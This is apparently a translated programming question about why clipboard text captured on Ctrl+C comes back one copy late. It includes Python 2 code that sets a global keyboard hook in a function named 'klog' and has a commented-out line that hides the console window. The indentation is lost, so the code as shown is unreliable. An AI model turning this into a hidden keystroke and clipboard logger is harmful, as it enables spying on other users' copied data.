Kullanıcının Control + C'yi ne zaman bastığını saptamak için pyhook kullanıyorum. Ardından verileri win32clipboard api kullanarak panodan kopyaladım.Windows Python Panodan veri alır. Pano daha önce kopyalanmış bir kelime döndürür
Karşılaştığım sorun, kodun geçerli olanı değil son kopyalanan verileri döndürmesidir.
Bu, panoya bir şey kaydetmenin zaman alması gerektiğinden mi?
from time import sleep
import win32clipboard
import win32api
import win32console
import win32gui
import pythoncom,pyHook
from threading import Thread
"""
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText('testing 123')
"""
data=''
def getcopied():
global data
while True:
try:
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
break
except TypeError:
print "Copied Content Invalid"
break
if data.isalpha():
print data
def initkeystack():
global keystack
keystack=[ [i,-1] for i in ['','','','','']]
def ctrlc():
global keystack
ct=0
for i in range(5):
if ct==0:
if keystack[i]==['Lcontrol',0]:
ct=1
else:
if keystack[i]==['C',0]:
getcopied()
getcopied()
initkeystack()
def OnKeyboardEvent(event):
str=event.GetKey()
global keystack
if keystack[4]!=[str,0]:
del(keystack[0])
keystack.append([str,0])
ctrlc()
def OnKeyboardEventUp(event):
str=event.GetKey()
global keystack
if keystack[4]!=[str,1]:
del(keystack[0])
keystack.append([str,1])
ctrlc()
def klog():
keystack=[]
initkeystack()
while True:
try:
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.KeyUp=OnKeyboardEventUp
hm.HookKeyboard()
while True:
pythoncom.PumpWaitingMessages()
except KeyboardInterrupt:
pass
a = Thread(target=klog)
a.start()
a.join()